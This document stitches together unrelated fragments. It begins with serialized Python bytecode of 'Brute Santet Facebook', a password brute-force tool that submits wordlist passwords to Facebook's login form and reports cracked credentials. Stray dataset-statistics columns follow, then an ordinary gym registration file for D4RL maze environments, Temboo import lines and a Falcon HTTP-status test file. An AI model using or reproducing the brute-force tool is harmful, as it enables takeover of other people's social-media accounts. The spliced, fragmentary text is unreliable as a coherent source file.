x00\x00\x00\x1b[32ms\x07\x00\x00\x00\x1b[95;1ms\x05\x00\x00\x00\x1b[96ms\x05\x00\x00\x00\x1b[97ms\x07\x00\x00\x00\x1b[36;1ms\x07\x00\x00\x00\x1b[34;1mc\x01\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00C\x00\x00\x00sG\x00\x00\x00x@\x00|\x00\x00d\x01\x00\x17D]4\x00}\x01\x00t\x00\x00j\x01\x00j\x02\x00|\x01\x00\x83\x01\x00\x01t\x00\x00j\x01\x00j\x03\x00\x83\x00\x00\x01t\x04\x00j\x05\x00d\x02\x00d\x03\x00\x15\x83\x01\x00\x01q\x0b\x00Wd\x00\x00S(\x04\x00\x00\x00Ns\x01\x00\x00\x00\ng\x00\x00\x00\x00\x00\x00$@id\x00\x00\x00(\x06\x00\x00\x00t\x03\x00\x00\x00syst\x06\x00\x00\x00stdoutt\x05\x00\x00\x00writet\x05\x00\x00\x00flusht\x04\x00\x00\x00timet\x05\x00\x00\x00sleep(\x02\x00\x00\x00t\x04\x00\x00\x00ganst\x03\x00\x00\x00BRO(\x00\x00\x00\x00(\x00\x00\x00\x00s\x06\x00\x00\x00<seni>t\x07\x00\x00\x00F415H4L\x18\x00\x00\x00s\x08\x00\x00\x00\x00\x01\x11\x01\x10\x01\r\x01c\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00C\x00\x00\x00s\xaf\x00\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x02\x00d\x02\x00\x17GHt\x02\x00d\x03\x00\x17GHt\x02\x00d\x04\x00\x17GHt\x03\x00d\x05\x00\x17GHt\x03\x00d\x06\x00\x17GHt\x04\x00d\x07\x00\x17GHt\x05\x00t\x04\x00d\x08\x00\x17\x83\x01\x00\x01t\x06\x00d\x07\x00\x17GHt\x06\x00d\t\x00\x17GHt\x06\x00d\n\x00\x17GHt\x06\x00d\x0b\x00\x17GHt\x06\x00d\x0c\x00\x17GHt\x06\x00d\r\x00\x17GHt\x06\x00d\x0e\x00\x17GHt\x06\x00d\x0f\x00\x17GHt\x06\x00d\x10\x00\x17GHt\x06\x00d\x07\x00\x17GHd\x00\x00S(\x11\x00\x00\x00Nt\x05\x00\x00\x00clears\x1b\x00\x00\x00 - Membuat Wordlist Sendiris9\x00\x00\x00 Sesuai dengan informasi yang kamu dapat dari FB targets\x13\x00\x00\x00 Yang Mau Di Hacks(\x00\x00\x00 - Please Report Bug On My Other Sosmed t\x01\x00\x00\x00 s3\x00\x00\x00+-------------------------------------------------+s=\x00\x00\x00\x1b[96m| B R U T E S A N T E T F A C E B O O K \x1b[96m|sB\x00\x00\x00| \x1b[97mToolKit : \x1b[31mBrute Santet Facebook - ( BSF ) \x1b[96m|sB\x00\x00\x00| \x1b[97mVersi : \x1b[31mFull Version \x1b[96m|sB\x00\x00\x00| \x1b[97mAuthor : \x1b[31mF415H4L \x1b[96m|sB\x00\x00\x00| \x1b[97mInstagram : \x1b[31mhttps://www.instagram.com/faishmdnn \x1b[96m|sB\x00\x00\x00| \x1b[97mFacebook : \x1b[31mhttps://www.facebook.com/F415H4L \x1b[96m|sB\x00\x00\x00| \x1b[97mGithub : \x1b[31mhttps://www.github.com/F4XH4L \x1b[96m|sB\x00\x00\x00| \x1b[97mYouTube : \x1b[31mhttps://www.youtube.com/channel/ \x1b[96m|sB\x00\x00\x00| \x1b[97m \x1b[31mUCVDWARUjmPWVSKl4j5zlG4A \x1b[96m|(\x07\x00\x00\x00t\x02\x00\x00\x00ost\x06\x00\x00\x00systemt\x01\x00\x00\x00rt\x01\x00\x00\x00zt\x01\x00\x00\x00cR\x08\x00\x00\x00t\x01\x00\x00\x00b(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x06\x00\x00\x00<seni>t\x06\x00\x00\x00banner\x1e\x00\x00\x00s$\x00\x00\x00\x00\x01\r\x01\t\x01\t\x01\t\x01\t\x01\t\x01\t\x01\x0e\x01\t\x01\t\x01\t\x01\t\x01\t\x01\t\x01\t\x01\t\x01\t\x01s8\x00\x00\x00 [\x1b[33;1m+\x1b[32m] Email/Phone/Username/ID \x1b[95m>>\x1b[33;1m s\x07\x00\x00\x00pwd.txtR\r\x00\x00\x00s2\x00\x00\x00https://www.facebook.com/login.php?login_attempt=1sD\x00\x00\x00Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0c\x00\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00C\x00\x00\x00s\x87\x00\x00\x00t\x00\x00j\x01\x00\x83\x00\x00a\x02\x00t\x03\x00j\x04\x00\x83\x00\x00}\x00\x00t\x02\x00j\x05\x00t\x06\x00\x83\x01\x00\x01t\x02\x00j\x07\x00t\x08\x00\x83\x01\x00\x01t\x02\x00j\t\x00|\x00\x00\x83\x01\x00\x01t\x02\x00j\n\x00t\x08\x00\x83\x01\x00\x01t\x02\x00j\x0b\x00t\x08\x00\x83\x01\x00\x01t\x02\x00j\x0c\x00t\x00\x00j\r\x00j\x0e\x00\x83\x00\x00d\x01\x00d\x02\x00\x83\x01\x01\x01t\x0f\x00\x83\x00\x00\x01t\x10\x00\x83\x00\x00\x01d\x00\x00S(\x03\x00\x00\x00Nt\x08\x00\x00\x00max_timei\x01\x00\x00\x00(\x11\x00\x00\x00t\t\x00\x00\x00mechanizet\x07\x00\x00\x00Browsert\x02\x00\x00\x00brt\t\x00\x00\x00cookielibt\x0c\x00\x00\x00LWPCookieJart\x11\x00\x00\x00set_handle_robotst\x05\x00\x00\x00Falset\x13\x00\x00\x00set_handle_redirectt\x04\x00\x00\x00Truet\r\x00\x00\x00set_cookiejart\x10\x00\x00\x00set_handle_equivt\x12\x00\x00\x00set_handle_referert\x12\x00\x00\x00set_handle_refresht\x05\x00\x00\x00_httpt\x14\x00\x00\x00HTTPRefreshProcessort\x03\x00\x00\x00cokt\x05\x00\x00\x00mimik(\x01\x00\x00\x00t\x02\x00\x00\x00cj(\x00\x00\x00\x00(\x00\x00\x00\x00s\x06\x00\x00\x00<seni>t\x04\x00\x00\x00main9\x00\x00\x00s\x14\x00\x00\x00\x00\x02\x0c\x01\x0c\x01\r\x01\r\x01\r\x01\r\x01\r\x01\x1c\x01\x07\x01c\x01\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x00C\x00\x00\x00s\xe1\x00\x00\x00t\x00\x00j\x01\x00j\x02\x00d\x01\x00j\x03\x00|\x00\x00\x83\x01\x00\x83\x01\x00\x01t\x00\x00j\x01\x00j\x04\x00\x83\x00\x00\x01d\x02\x00t\x05\x00j\x06\x00t\x07\x00\x83\x01\x00f\x02\x00g\x01\x00t\x08\x00_\t\x00t\x08\x00j\n\x00t\x0b\x00\x83\x01\x00}\x01\x00t\x08\x00j\x0c\x00d\x03\x00d\x04\x00\x83\x00\x01\x01t\r\x00t\x08\x00j\x0e\x00d\x05\x00<|\x00\x00t\x08\x00j\x0e\x00d\x06\x00<t\x08\x00j\x0f\x00\x83\x00\x00}\x02\x00|\x02\x00j\x10\x00\x83\x00\x00}\x03\x00|\x03\x00t\x0b\x00k\x03\x00r\xdd\x00d\x07\x00|\x03\x00k\x07\x00r\xdd\x00d\x08\x00j\x03\x00|\x00\x00\x83\x01\x00GHd\t\x00GHd\n\x00j\x03\x00|\x00\x00\x83\x01\x00GHd\t\x00GHt\x00\x00j\x11\x00\x83\x00\x00\x01n\x00\x00d\x00\x00S(\x0b\x00\x00\x00Ns5\x00\x00\x00\x1b[96m[\x1b[91m*\x1b[96m] \x1b[97mTry Password \x1b[31m==> \x1b[90m{}s\n\x00\x00\x00User-agentt\x02\x00\x00\x00nri\x00\x00\x00\x00t\x05\x00\x00\x00emailt\x04\x00\x00\x00passt\r\x00\x00\x00login_attemptsA\x00\x00\x00\x1b[96m[$]\x1b[95m Succes Login Faceook With Password \x1b[91m>>> \x1b[96m{}R\n\x00\x00\x00s-\x00\x00\x00\x1b[96m[$] \x1b[95mPassword Found \x1b[91m==> \x1b[96m{}(\x12\x00\x00\x00R\x00\x00\x00\x00R\x01\x00\x00\x00R\x02\x00\x00\x00t\x06\x00\x00\x00formatR\x03\x00\x00\x00t\x06\x00\x00\x00randomt\x06\x00\x00\x00choicet\x08\x00\x00\x00user_BROR\x15\x00\x00\x00t\n\x00\x00\x00addheaderst\x04\x00\x00\x00opent\x05\x00\x00\x00logint\x0b\x00\x00\x00select_formR\'\x00\x00\x00t\x04\x00\x00\x00formt\x06\x00\x00\x00submitt\x06\x00\x00\x00geturlt\x04\x00\x00\x00exit(\x04\x00\x00\x00t\x08\x00\x00\x00passwordt\x04\x00\x00\x00siteR\x07\x00\x00\x00R\x06\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x06\x00\x00\x00<seni>t\x04\x00\x00\x00wkwkE\x00\x00\x00s\x1e\x00\x00\x00\x00\x01\x19\x01\r\x01\x1b\x01\x0f\x01\x10\x01\r\x01\r\x01\x0c\x01\x0c\x01\x18\x01\x0e\x01\x05\x01\x0e\x01\x05\x01c\x00\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00C\x00\x00\x00s@\x00\x00\x00t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00}\x00\x00x*\x00|\x00\x00D]"\x00a\x01\x00t\x01\x00j\x02\x00d\x03\x00d\x04\x00\x83\x02\x00}\x00\x00t\x03\x00t\x01\x00\x83\x01\x00\x01q\x16\x00Wd\x00\x00S(\x05\x00\x00\x00Ns\x07\x00\x00\x00pwd.txtR\r\x00\x00\x00s\x01\x00\x00\x00\nt\x00\x00\x00\x00(\x04\x00\x00\x00R/\x00\x00\x00R6\x00\x00\x00t\x07\x00\x00\x00replaceR8\x00\x00\x00(\x01\x00\x00\x00t\t\x00\x00\x00passwords(\x00\x00\x00\x00(\x00\x00\x00\x00s\x06\x00\x00\x00<seni>R#\x00\x00\x00U\x00\x00\x00s\x08\x00\x00\x00\x00\x02\x0f\x01\r\x01\x12\x01c\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00C\x00\x00\x00sT\x00\x00\x00d\x01\x00GHt\x00\x00d\x02\x00d\x03\x00\x83\x02\x00}\x00\x00|\x00\x00j\x01\x00\x83\x00\x00}\x00\x00d\x01\x00GHt\x02\x00d\x04\x00j\x03\x00t\x04\x00\x83\x01\x00\x17GHd\x05\x00Gt\x05\x00|\x00\x00\x83\x01\x00GHd\x06\x00GHd\x01\x00GHd\x00\x00S(\x07\x00\x00\x00NR\n\x00\x00\x00s\x07\x00\x00\x00pwd.txtR\r\x00\x00\x00s\x16\x00\x00\x00 [ ! ] ID Target : {} s\x15\x00\x00\x00 [ ! ] Load Wordlist:s \x00\x00\x00 [ ! ] Running Cracking Password(\x06\x00\x00\x00R/\x00\x00\x00t\t\x00\x00\x00readlinest\x01\x00\x00\x00wR*\x00\x00\x00R\'\x00\x00\x00t\x03\x00\x00\x00len(\x01\x00\x00\x00t\x05\x00\x00\x00bacot(\x00\x00\x00\x00(\x00\x00\x00\x00s\x06\x00\x00\x00<seni>R"\x00\x00\x00\\\x00\x00\x00s\x10\x00\x00\x00\x00\x02\x05\x01\x0f\x01\x0c\x01\x05\x01\x12\x01\x0f\x01\x05\x01t\x08\x00\x00\x00__main__(\x1c\x00\x00\x00R\x0b\x00\x00\x00R\x00\x00\x00\x00R\x04\x00\x00\x00R+\x00\x00\x00R\x16\x00\x00\x00R\x13\x00\x00\x00R=\x00\x00\x00t\x01\x00\x00\x00OR\r\x00\x00\x00t\x01\x00\x00\x00gt\x01\x00\x00\x00pR\x10\x00\x00\x00t\x02\x00\x00\x00wlR\x0f\x00\x00\x00R\x0e\x00\x00\x00R\x08\x00\x00\x00R\x11\x00\x00\x00t\t\x00\x00\x00raw_inputR\'\x00\x00\x00R/\x00\x00\x00t\x08\x00\x00\x00wordlistR0\x00\x00\x00R-\x00\x00\x00R%\x00\x00\x00R8\x00\x00\x00R#\x00\x00\x00R"\x00\x00\x00t\x08\x00\x00\x00__name__(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x06\x00\x00\x00<seni>t\x08\x00\x00\x00<module>\x07\x00\x00\x00s6\x00\x00\x00\x0c\x01\x0c\x01\x0c\x01\x0c\x01\x0c\x01\x0c\x02\x06\x01\x06\x01\x06\x01\x06\x01\x06\x01\x06\x01\x06\x01\x06\x01\x06\x02\t\x06\t\x14\x07\x01\x10\x01\x0f\x01\x06\x02\t\x02\t\x0c\t\x10\t\x07\t\n\x0c\x01'''))
| 4,841
| 9,667
| 0.745714
| 2,083
| 9,682
| 3.452712
| 0.132021
| 0.342881
| 0.193966
| 0.111791
| 0.442992
| 0.357341
| 0.232759
| 0.174638
| 0.159066
| 0.103309
| 0
| 0.383164
| 0.025821
| 9,682
| 2
| 9,667
| 4,841
| 0.379347
| 0
| 0
| 0
| 0
| 0.5
| 0.995559
| 0.880719
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.5
| 0.5
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
|
0
| 13
|
4659e63c2a5ef132af23fd19e2ed716f06188b6b
| 10,406
|
py
|
Python
|
envs/d4rl/d4rl_content/pointmaze/__init__.py
|
AliengirlLiv/babyai
|
51421ee11538bf110c5b2d0c84a15f783d854e7d
|
[
"MIT"
] | 2
|
2022-02-24T08:47:48.000Z
|
2022-03-23T09:44:22.000Z
|
envs/d4rl/d4rl_content/pointmaze/__init__.py
|
AliengirlLiv/babyai
|
51421ee11538bf110c5b2d0c84a15f783d854e7d
|
[
"MIT"
] | null | null | null |
envs/d4rl/d4rl_content/pointmaze/__init__.py
|
AliengirlLiv/babyai
|
51421ee11538bf110c5b2d0c84a15f783d854e7d
|
[
"MIT"
] | 1
|
2021-12-27T19:03:38.000Z
|
2021-12-27T19:03:38.000Z
|
from .maze_model import MazeEnv, OPEN, U_MAZE, MEDIUM_MAZE, LARGE_MAZE, U_MAZE_EVAL, MEDIUM_MAZE_EVAL, LARGE_MAZE_EVAL, TWELVE, FIFTEEN
from gym.envs.registration import register
register(
id='maze2d-open-v0',
entry_point='envs.d4rl.d4rl_content.pointmaze:MazeEnv',
max_episode_steps=75,
kwargs={
'maze_spec':OPEN,
'reward_type':'sparse',
'reset_target': False,
'ref_min_score': 0.01,
'ref_max_score': 20.66,
'dataset_url':'http://rail.eecs.berkeley.edu/datasets/offline_rl/maze2d/maze2d-open-sparse.hdf5'
}
)
register(
id='maze2d-randommaze-v0',
entry_point='envs.d4rl.d4rl_content.pointmaze:MazeEnv',
max_episode_steps=150,
kwargs={
'reward_type':'sparse',
'reset_target': False,
'ref_min_score': 0.94,
'ref_max_score': 62.6,
'maze_size': 6,
}
)
register(
id='maze2d-randommaze-7x7-v0',
entry_point='envs.d4rl.d4rl_content.pointmaze:MazeEnv',
max_episode_steps=110,
kwargs={
'reward_type':'sparse',
'reset_target': False,
'ref_min_score': 0.94,
'ref_max_score': 62.6,
'maze_size': 7,
}
)
register(
id='maze2d-randommaze-8x8-v0',
entry_point='envs.d4rl.d4rl_content.pointmaze:MazeEnv',
max_episode_steps=120,
kwargs={
'reward_type':'sparse',
'reset_target': False,
'ref_min_score': 0.94,
'ref_max_score': 62.6,
'maze_size': 8,
}
)
register(
id='maze2d-umaze-v0',
entry_point='envs.d4rl.d4rl_content.pointmaze:MazeEnv',
max_episode_steps=75,
kwargs={
'maze_spec':U_MAZE,
'reward_type':'sparse',
'reset_target': False,
'ref_min_score': 0.94,
'ref_max_score': 62.6,
'dataset_url':'http://rail.eecs.berkeley.edu/datasets/offline_rl/maze2d/maze2d-umaze-sparse.hdf5'
}
)
register(
id='maze2d-medium-v0',
entry_point='envs.d4rl.d4rl_content.pointmaze:MazeEnv',
max_episode_steps=125,
kwargs={
'maze_spec':MEDIUM_MAZE,
'reward_type':'sparse',
'reset_target': False,
'ref_min_score': 5.77,
'ref_max_score': 85.14,
'dataset_url':'http://rail.eecs.berkeley.edu/datasets/offline_rl/maze2d/maze2d-medium-sparse.hdf5'
}
)
register(
id='maze2d-large-v0',
entry_point='envs.d4rl.d4rl_content.pointmaze:MazeEnv',
max_episode_steps=300,
kwargs={
'maze_spec':LARGE_MAZE,
'reward_type':'sparse',
'reset_target': False,
'ref_min_score': 4.83,
'ref_max_score': 191.99,
'dataset_url':'http://rail.eecs.berkeley.edu/datasets/offline_rl/maze2d/maze2d-large-sparse.hdf5'
}
)
register(
id='maze2d-12x12-v0',
entry_point='envs.d4rl.d4rl_content.pointmaze:MazeEnv',
max_episode_steps=400,
kwargs={
'maze_spec': TWELVE,
'reward_type':'sparse',
'reset_target': False,
'ref_min_score': 4.83,
'ref_max_score': 191.99,
'dataset_url':'http://rail.eecs.berkeley.edu/datasets/offline_rl/maze2d/maze2d-large-sparse.hdf5'
}
)
register(
id='maze2d-15x15-v0',
entry_point='envs.d4rl.d4rl_content.pointmaze:MazeEnv',
max_episode_steps=500,
kwargs={
'maze_spec': FIFTEEN,
'reward_type':'sparse',
'reset_target': False,
'ref_min_score': 4.83,
'ref_max_score': 191.99,
'dataset_url':'http://rail.eecs.berkeley.edu/datasets/offline_rl/maze2d/maze2d-large-sparse.hdf5'
}
)
register(
id='maze2d-umaze-v1',
entry_point='envs.d4rl.d4rl_content.pointmaze:MazeEnv',
max_episode_steps=150,
kwargs={
'maze_spec':U_MAZE,
'reward_type':'sparse',
'reset_target': False,
'ref_min_score': 23.85,
'ref_max_score': 161.86,
'dataset_url':'http://rail.eecs.berkeley.edu/datasets/offline_rl/maze2d/maze2d-umaze-sparse-v1.hdf5'
}
)
register(
id='maze2d-medium-v1',
entry_point='envs.d4rl.d4rl_content.pointmaze:MazeEnv',
max_episode_steps=300,
kwargs={
'maze_spec':MEDIUM_MAZE,
'reward_type':'sparse',
'reset_target': False,
'ref_min_score': 13.13,
'ref_max_score': 277.39,
'dataset_url':'http://rail.eecs.berkeley.edu/datasets/offline_rl/maze2d/maze2d-medium-sparse-v1.hdf5'
}
)
register(
id='maze2d-large-v1',
entry_point='envs.d4rl.d4rl_content.pointmaze:MazeEnv',
max_episode_steps=400,
kwargs={
'maze_spec':LARGE_MAZE,
'reward_type':'sparse',
'reset_target': False,
'ref_min_score': 6.7,
'ref_max_score': 273.99,
'dataset_url':'http://rail.eecs.berkeley.edu/datasets/offline_rl/maze2d/maze2d-large-sparse-v1.hdf5'
}
)
register(
id='maze2d-eval-umaze-v1',
entry_point='envs.d4rl.d4rl_content.pointmaze:MazeEnv',
max_episode_steps=150,
kwargs={
'maze_spec':U_MAZE_EVAL,
'reward_type':'sparse',
'reset_target': False,
'ref_min_score': 36.63,
'ref_max_score': 141.4,
'dataset_url':'http://rail.eecs.berkeley.edu/datasets/offline_rl/maze2d/maze2d-eval-umaze-sparse-v1.hdf5'
}
)
register(
id='maze2d-eval-medium-v1',
entry_point='envs.d4rl.d4rl_content.pointmaze:MazeEnv',
max_episode_steps=300,
kwargs={
'maze_spec':MEDIUM_MAZE_EVAL,
'reward_type':'sparse',
'reset_target': False,
'ref_min_score': 13.07,
'ref_max_score': 204.93,
'dataset_url':'http://rail.eecs.berkeley.edu/datasets/offline_rl/maze2d/maze2d-eval-medium-sparse-v1.hdf5'
}
)
register(
id='maze2d-eval-large-v1',
entry_point='envs.d4rl.d4rl_content.pointmaze:MazeEnv',
max_episode_steps=400,
kwargs={
'maze_spec':LARGE_MAZE_EVAL,
'reward_type':'sparse',
'reset_target': False,
'ref_min_score': 16.4,
'ref_max_score': 302.22,
'dataset_url':'http://rail.eecs.berkeley.edu/datasets/offline_rl/maze2d/maze2d-eval-large-sparse-v1.hdf5'
}
)
register(
id='maze2d-open-dense-v0',
entry_point='envs.d4rl.d4rl_content.pointmaze:MazeEnv',
max_episode_steps=75,
kwargs={
'maze_spec':OPEN,
'reward_type':'dense',
'reset_target': False,
'ref_min_score': 11.17817,
'ref_max_score': 27.166538620695782,
'dataset_url':'http://rail.eecs.berkeley.edu/datasets/offline_rl/maze2d/maze2d-open-dense.hdf5'
}
)
register(
id='maze2d-umaze-dense-v0',
entry_point='envs.d4rl.d4rl_content.pointmaze:MazeEnv',
max_episode_steps=75,
kwargs={
'maze_spec':U_MAZE,
'reward_type':'dense',
'reset_target': False,
'ref_min_score': 23.249793,
'ref_max_score': 81.78995240126592,
'dataset_url':'http://rail.eecs.berkeley.edu/datasets/offline_rl/maze2d/maze2d-umaze-dense.hdf5'
}
)
register(
id='maze2d-medium-dense-v0',
entry_point='envs.d4rl.d4rl_content.pointmaze:MazeEnv',
max_episode_steps=125,
kwargs={
'maze_spec':MEDIUM_MAZE,
'reward_type':'dense',
'reset_target': False,
'ref_min_score': 19.477620,
'ref_max_score': 96.03474232952358,
'dataset_url':'http://rail.eecs.berkeley.edu/datasets/offline_rl/maze2d/maze2d-medium-dense.hdf5'
}
)
register(
id='maze2d-large-dense-v0',
entry_point='envs.d4rl.d4rl_content.pointmaze:MazeEnv',
max_episode_steps=300,
kwargs={
'maze_spec':LARGE_MAZE,
'reward_type':'dense',
'reset_target': False,
'ref_min_score': 27.388310,
'ref_max_score': 215.09965671563742,
'dataset_url':'http://rail.eecs.berkeley.edu/datasets/offline_rl/maze2d/maze2d-large-dense.hdf5'
}
)
register(
id='maze2d-umaze-dense-v1',
entry_point='envs.d4rl.d4rl_content.pointmaze:MazeEnv',
max_episode_steps=150,
kwargs={
'maze_spec':U_MAZE,
'reward_type':'dense',
'reset_target': False,
'ref_min_score': 68.537689,
'ref_max_score': 193.66285642381482,
'dataset_url':'http://rail.eecs.berkeley.edu/datasets/offline_rl/maze2d/maze2d-umaze-dense-v1.hdf5'
}
)
register(
id='maze2d-medium-dense-v1',
entry_point='envs.d4rl.d4rl_content.pointmaze:MazeEnv',
max_episode_steps=300,
kwargs={
'maze_spec':MEDIUM_MAZE,
'reward_type':'dense',
'reset_target': False,
'ref_min_score': 44.264742,
'ref_max_score': 297.4552547777125,
'dataset_url':'http://rail.eecs.berkeley.edu/datasets/offline_rl/maze2d/maze2d-medium-dense-v1.hdf5'
}
)
register(
id='maze2d-large-dense-v1',
entry_point='envs.d4rl.d4rl_content.pointmaze:MazeEnv',
max_episode_steps=400,
kwargs={
'maze_spec':LARGE_MAZE,
'reward_type':'dense',
'reset_target': False,
'ref_min_score': 30.569041,
'ref_max_score': 303.4857382709002,
'dataset_url':'http://rail.eecs.berkeley.edu/datasets/offline_rl/maze2d/maze2d-large-dense-v1.hdf5'
}
)
register(
id='maze2d-eval-umaze-dense-v1',
entry_point='envs.d4rl.d4rl_content.pointmaze:MazeEnv',
max_episode_steps=150,
kwargs={
'maze_spec':U_MAZE_EVAL,
'reward_type':'dense',
'reset_target': False,
'ref_min_score': 56.95455,
'ref_max_score': 178.21373133248397,
'dataset_url':'http://rail.eecs.berkeley.edu/datasets/offline_rl/maze2d/maze2d-eval-umaze-dense-v1.hdf5'
}
)
register(
id='maze2d-eval-medium-dense-v1',
entry_point='envs.d4rl.d4rl_content.pointmaze:MazeEnv',
max_episode_steps=300,
kwargs={
'maze_spec':MEDIUM_MAZE_EVAL,
'reward_type':'dense',
'reset_target': False,
'ref_min_score': 42.28578,
'ref_max_score': 235.5658957482388,
'dataset_url':'http://rail.eecs.berkeley.edu/datasets/offline_rl/maze2d/maze2d-eval-medium-dense-v1.hdf5'
}
)
register(
id='maze2d-eval-large-dense-v1',
entry_point='envs.d4rl.d4rl_content.pointmaze:MazeEnv',
max_episode_steps=400,
kwargs={
'maze_spec':LARGE_MAZE_EVAL,
'reward_type':'dense',
'reset_target': False,
'ref_min_score': 56.95455,
'ref_max_score': 326.09647655082637,
'dataset_url':'http://rail.eecs.berkeley.edu/datasets/offline_rl/maze2d/maze2d-eval-large-dense-v1.hdf5'
}
)
| 29.067039
| 135
| 0.644724
| 1,344
| 10,406
| 4.729167
| 0.100446
| 0.039333
| 0.062933
| 0.070799
| 0.880113
| 0.866897
| 0.858874
| 0.804122
| 0.804122
| 0.799087
| 0
| 0.074535
| 0.204497
| 10,406
| 357
| 136
| 29.148459
| 0.693283
| 0
| 0
| 0.574074
| 0
| 0.067901
| 0.496444
| 0.122622
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.006173
| 0
| 0.006173
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
46abb5966d69bac735396a5264132e0810f007bc
| 450
|
py
|
Python
|
temboo/core/Library/Amazon/Marketplace/OutboundShipments/__init__.py
|
jordanemedlock/psychtruths
|
52e09033ade9608bd5143129f8a1bfac22d634dd
|
[
"Apache-2.0"
] | 7
|
2016-03-07T02:07:21.000Z
|
2022-01-21T02:22:41.000Z
|
temboo/core/Library/Amazon/Marketplace/OutboundShipments/__init__.py
|
jordanemedlock/psychtruths
|
52e09033ade9608bd5143129f8a1bfac22d634dd
|
[
"Apache-2.0"
] | null | null | null |
temboo/core/Library/Amazon/Marketplace/OutboundShipments/__init__.py
|
jordanemedlock/psychtruths
|
52e09033ade9608bd5143129f8a1bfac22d634dd
|
[
"Apache-2.0"
] | 8
|
2016-06-14T06:01:11.000Z
|
2020-04-22T09:21:44.000Z
|
from temboo.Library.Amazon.Marketplace.OutboundShipments.CancelFulfillmentOrder import CancelFulfillmentOrder, CancelFulfillmentOrderInputSet, CancelFulfillmentOrderResultSet, CancelFulfillmentOrderChoreographyExecution
from temboo.Library.Amazon.Marketplace.OutboundShipments.ListAllFulfillmentOrders import ListAllFulfillmentOrders, ListAllFulfillmentOrdersInputSet, ListAllFulfillmentOrdersResultSet, ListAllFulfillmentOrdersChoreographyExecution
| 150
| 229
| 0.933333
| 24
| 450
| 17.5
| 0.625
| 0.047619
| 0.080952
| 0.109524
| 0.242857
| 0.242857
| 0
| 0
| 0
| 0
| 0
| 0
| 0.031111
| 450
| 2
| 230
| 225
| 0.963303
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
d3d8b47b4a23dc1e7645782e2341153325b17ef9
| 6,418
|
py
|
Python
|
tests/test_httpstatus.py
|
joesphramkishun/falcon
|
5386868d895f68a00eaefda52d49daaf0b07882b
|
[
"Apache-2.0"
] | 1
|
2019-10-12T03:15:26.000Z
|
2019-10-12T03:15:26.000Z
|
tests/test_httpstatus.py
|
hgf-anu/falcon
|
05ccbb1092e1e32df4edbc85a492b4bbc78adf27
|
[
"Apache-2.0"
] | null | null | null |
tests/test_httpstatus.py
|
hgf-anu/falcon
|
05ccbb1092e1e32df4edbc85a492b4bbc78adf27
|
[
"Apache-2.0"
] | 1
|
2020-06-02T07:46:10.000Z
|
2020-06-02T07:46:10.000Z
|
# -*- coding: utf-8
import falcon
from falcon.http_status import HTTPStatus
import falcon.testing as testing
def before_hook(req, resp, resource, params):
raise HTTPStatus(falcon.HTTP_200,
headers={'X-Failed': 'False'},
body='Pass')
def after_hook(req, resp, resource):
resp.status = falcon.HTTP_200
resp.set_header('X-Failed', 'False')
resp.body = 'Pass'
def noop_after_hook(req, resp, resource):
pass
class TestStatusResource:
@falcon.before(before_hook)
def on_get(self, req, resp):
resp.status = falcon.HTTP_500
resp.set_header('X-Failed', 'True')
resp.body = 'Fail'
def on_post(self, req, resp):
resp.status = falcon.HTTP_500
resp.set_header('X-Failed', 'True')
resp.body = 'Fail'
raise HTTPStatus(falcon.HTTP_200,
headers={'X-Failed': 'False'},
body='Pass')
@falcon.after(after_hook)
def on_put(self, req, resp):
# NOTE(kgriffs): Test that passing a unicode status string
# works just fine.
resp.status = '500 Internal Server Error'
resp.set_header('X-Failed', 'True')
resp.body = 'Fail'
def on_patch(self, req, resp):
raise HTTPStatus(falcon.HTTP_200, body=None)
@falcon.after(noop_after_hook)
def on_delete(self, req, resp):
raise HTTPStatus(falcon.HTTP_200,
headers={'X-Failed': 'False'},
body='Pass')
class TestHookResource:
def on_get(self, req, resp):
resp.status = falcon.HTTP_500
resp.set_header('X-Failed', 'True')
resp.body = 'Fail'
def on_patch(self, req, resp):
raise HTTPStatus(falcon.HTTP_200,
body=None)
def on_delete(self, req, resp):
raise HTTPStatus(falcon.HTTP_200,
headers={'X-Failed': 'False'},
body='Pass')
class TestHTTPStatus:
def test_raise_status_in_before_hook(self):
""" Make sure we get the 200 raised by before hook """
app = falcon.API()
app.add_route('/status', TestStatusResource())
client = testing.TestClient(app)
response = client.simulate_request(path='/status', method='GET')
assert response.status == falcon.HTTP_200
assert response.headers['x-failed'] == 'False'
assert response.text == 'Pass'
def test_raise_status_in_responder(self):
""" Make sure we get the 200 raised by responder """
app = falcon.API()
app.add_route('/status', TestStatusResource())
client = testing.TestClient(app)
response = client.simulate_request(path='/status', method='POST')
assert response.status == falcon.HTTP_200
assert response.headers['x-failed'] == 'False'
assert response.text == 'Pass'
